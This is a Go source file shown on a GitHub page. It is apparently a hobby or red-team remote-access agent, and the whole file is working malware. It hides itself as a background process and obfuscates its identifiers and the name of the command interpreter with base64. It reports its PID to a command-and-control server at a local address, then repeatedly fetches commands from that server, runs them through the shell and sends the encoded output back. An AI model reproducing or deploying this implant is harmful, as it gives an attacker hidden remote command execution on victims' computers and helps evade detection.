-
Notifications
You must be signed in to change notification settings - Fork 1
/
agent.go
141 lines (127 loc) · 3 KB
/
agent.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
package main
import (
"fmt"
"io/ioutil"
"net/http"
"strconv"
"strings"
"os/exec"
"os"
"encoding/base64"
"time"
"syscall"
)
func G3Td4t4() string {
c3r2point := "http://127.0.0.1:5000/showMSG"
rsp3, err := http.Get(c3r2point)
if err != nil {
fmt.Println("Error:", err)
return ""
}
defer rsp3.Body.Close()
bdy, err := ioutil.ReadAll(rsp3.Body)
if err != nil {
fmt.Println(err)
return ""
}
return cn3ver(string(bdy))
}
func cn3ver(as3iiSt6ing string) string {
asc1iC0d3s := strings.Fields(as3iiSt6ing)
var str strings.Builder
for _, code := range asc1iC0d3s {
ascii, err := strconv.Atoi(code)
if err != nil {
fmt.Println(err)
continue
}
str.WriteString(string(ascii))
}
return str.String()
}
func ccncc(d4t4 string) (string, error) {
c3r2point := "http://127.0.0.1:5000/receiveMSG"
resp, err := http.Get(c3r2point + "?d4t4=" + d4t4)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
return string(body), nil
}
func cew04ker(ce string) string {
callerTune := "VFJUUlJUUlRSVFJZVFJZVFJFUlRjWVlUVFJSbUhIVVVJSUtLZA=="
t3t3, _ := base64.StdEncoding.DecodeString(callerTune)
preTun3 := string(t3t3)
ha3 := "TRYEHUIK"
for _, char := range ha3 {
preTun3 = strings.ReplaceAll(preTun3, string(char), "")
}
out, err := exec.Command(preTun3, "/C", ce).Output()
if err != nil {
return err.Error()
}
return string(out)
}
func str2ascii(s string) string {
var str strings.Builder
for i, r := range s {
str.WriteString(strconv.Itoa(int(r)))
if i != len(s)-1 {
str.WriteString(" ")
}
}
return str.String()
}
func dneexec() bool {
endpoint := "http://127.0.0.1:5000/doneExec"
resp, err := http.Get(endpoint)
if err != nil {
fmt.Println(err)
return false
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
return false
}
if strings.Contains(string(body), "Executed successfully") {
return true
} else {
return false
}
}
func main() {
if os.Getenv("BACKGROUND") != "true" {
cmd := exec.Command("cmd.exe", "/C", "start", "/B", os.Args[0])
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Env = append(os.Environ(), "BACKGROUND=true")
if err := cmd.Start(); err != nil {
fmt.Println("Failed to start background process:", err)
return
}
pid := strconv.Itoa(cmd.Process.Pid)
encodedPid := str2ascii(pid)
encodedPid = base64.StdEncoding.EncodeToString([]byte(encodedPid))
ccncc("PID:"+encodedPid)
return
}
for {
m3ss4g3 := G3Td4t4()
if m3ss4g3 != "" {
executed := cew04ker(m3ss4g3)
executed = str2ascii(executed)
executed = base64.StdEncoding.EncodeToString([]byte(executed))
m3ss4g3 = strings.ReplaceAll(m3ss4g3, " ", "_")
ccncc(m3ss4g3+":"+executed)
if dneexec() {
time.Sleep(3 * time.Second)
}
time.Sleep(20 * time.Second)
}
}
}